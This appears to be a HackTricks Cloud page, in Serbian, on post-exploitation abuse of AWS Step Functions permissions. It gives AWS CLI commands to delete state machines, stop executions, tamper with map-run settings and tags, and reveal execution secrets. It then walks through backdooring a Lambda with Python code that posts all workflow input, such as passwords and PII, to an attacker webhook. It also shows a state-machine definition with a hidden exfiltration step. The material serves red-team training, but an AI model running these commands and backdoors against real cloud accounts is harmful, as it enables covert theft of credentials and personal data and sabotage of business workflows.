AWS - Step Functions Post Exploitation
Reading time: 6 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Step Functions
Za više informacija o ovoj AWS usluzi, proverite:
states:RevealSecrets
Ova dozvola omogućava otkrivanje tajnih podataka unutar izvršenja. Za to je potrebno postaviti nivo inspekcije na TRACE i parametar revealSecrets na true.
.png)
states:DeleteStateMachine
, states:DeleteStateMachineVersion
, states:DeleteStateMachineAlias
Napadač sa ovim dozvolama mogao bi trajno da obriše mašine stanja, njihove verzije i alias-e. To može ometati kritične radne tokove, dovesti do gubitka podataka i zahtevati značajno vreme za oporavak i vraćanje pogođenih mašina stanja. Pored toga, to bi omogućilo napadaču da prikrije tragove korišćene, ometa forenzičke istrage i potencijalno osakati operacije uklanjanjem suštinskih automatizovanih procesa i konfiguracija stanja.
note
- Brisanjem mašine stanja takođe brišete sve njene povezane verzije i alias-e.
- Brisanjem alias-a mašine stanja ne brišete verzije mašine stanja koje se odnose na ovaj alias.
- Nije moguće obrisati verziju mašine stanja koja je trenutno referencirana od strane jednog ili više alias-a.
# Delete state machine
aws stepfunctions delete-state-machine --state-machine-arn <value>
# Delete state machine version
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
# Delete state machine alias
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
- Potencijalni Uticaj: Poremećaj kritičnih radnih tokova, gubitak podataka i operativno vreme zastoja.
states:UpdateMapRun
Napadač sa ovom dozvolom mogao bi da manipuliše konfiguracijom neuspeha Map Run-a i paralelnim podešavanjima, što bi mu omogućilo da poveća ili smanji maksimalan broj dozvoljenih izvršenja radnih tokova, direktno utičući na performanse usluge. Pored toga, napadač bi mogao da menja tolerisani procenat neuspeha i broj, smanjujući ovu vrednost na 0, tako da bi svaki put kada stavka ne uspe, ceo map run ne uspeo, direktno utičući na izvršenje stanja mašine i potencijalno ometajući kritične radne tokove.
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
- Potencijalni uticaj: Smanjenje performansi i prekid kritičnih radnih tokova.
states:StopExecution
Napadač sa ovom dozvolom mogao bi da zaustavi izvršenje bilo koje mašine stanja, ometajući tekuće radne tokove i procese. To bi moglo dovesti do nepotpunih transakcija, obustavljenih poslovnih operacija i potencijalne korupcije podataka.
warning
Ova akcija nije podržana od strane express state machines.
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
- Potencijalni uticaj: Poremećaj tekućih radnih tokova, operativno vreme zastoja i potencijalna korupcija podataka.
states:TagResource
, states:UntagResource
Napadač bi mogao da doda, izmeni ili ukloni oznake sa resursa Step Functions, ometajući alokaciju troškova vaše organizacije, praćenje resursa i politike kontrole pristupa zasnovane na oznakama.
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
Potencijalni uticaj: Poremećaj alokacije troškova, praćenja resursa i politika kontrole pristupa zasnovanih na oznakama.
states:UpdateStateMachine
, lambda:UpdateFunctionCode
Napadač koji kompromituje korisnika ili ulogu sa sledećim dozvolama:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowUpdateStateMachine",
"Effect": "Allow",
"Action": "states:UpdateStateMachine",
"Resource": "*"
},
{
"Sid": "AllowUpdateFunctionCode",
"Effect": "Allow",
"Action": "lambda:UpdateFunctionCode",
"Resource": "*"
}
]
}
...može sprovesti napad post-ekspolatacije visokog uticaja i prikrivenosti kombinovanjem backdooring-a Lambda sa manipulacijom logikom Step Function.
Ovaj scenario pretpostavlja da žrtva koristi AWS Step Functions za orkestraciju radnih tokova koji obrađuju osetljive ulaze, kao što su akreditivi, tokeni ili PII.
Primer poziva žrtve:
aws stepfunctions start-execution \
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
Ako je Step Function konfigurisana da poziva Lambda kao LegitBusinessLogic
, napadač može nastaviti sa dve prikrivene varijante napada:
Ažurirana lambda funkcija
Napadač menja kod Lambda funkcije koja se već koristi od strane Step Function (LegitBusinessLogic
) kako bi tiho eksfiltrirao ulazne podatke.
# send_to_attacker.py
import requests
def lambda_handler(event, context):
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
return {"status": "exfiltrated"}
zip function.zip send_to_attacker.py
aws lambda update-function-code \
--function-name LegitBusinessLogic \
--zip-file fileb://function.zip -profile attacker
Dodajte Zloćudnu Državu u Step Funkciju
Alternativno, napadač može da ubaci državu eksfiltracije na početak radnog toka ažuriranjem definicije Step Funkcije.
{
"Comment": "Backdoored for Exfiltration",
"StartAt": "OriginalState",
"States": {
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
"End": true
}
}
}
aws stepfunctions update-state-machine \
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
--definition file://malicious_state_definition.json --profile attacker
Napadač može još diskretnije ažurirati definiciju stanja na nešto poput ovoga { "Comment": "Backdoored for Exfiltration", "StartAt": "ExfiltrateSecrets", "States": { "ExfiltrateSecrets": { "Type": "Task", "Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker", "InputPath": "$", "ResultPath": "$.exfil", "Next": "OriginalState" }, "OriginalState": { "Type": "Task", "Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic", "End": true } } } gde žrtva neće primetiti razliku
Podešavanje žrtve (Kontekst za Eksploataciju)
- Step Function (
LegitStateMachine
) se koristi za obradu osetljivih korisničkih podataka. - Poziva jednu ili više Lambda funkcija kao što je
LegitBusinessLogic
.
Potencijalni Uticaj:
- Tiha eksfiltracija osetljivih podataka uključujući tajne, akreditive, API ključeve i PII.
- Nema vidljivih grešaka ili neuspeha u izvršenju radnog toka.
- Teško je otkriti bez revizije Lambda koda ili tragova izvršenja.
- Omogućava dugoročnu postojanost ako se bekdor zadrži u kodu ili ASL logici.
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.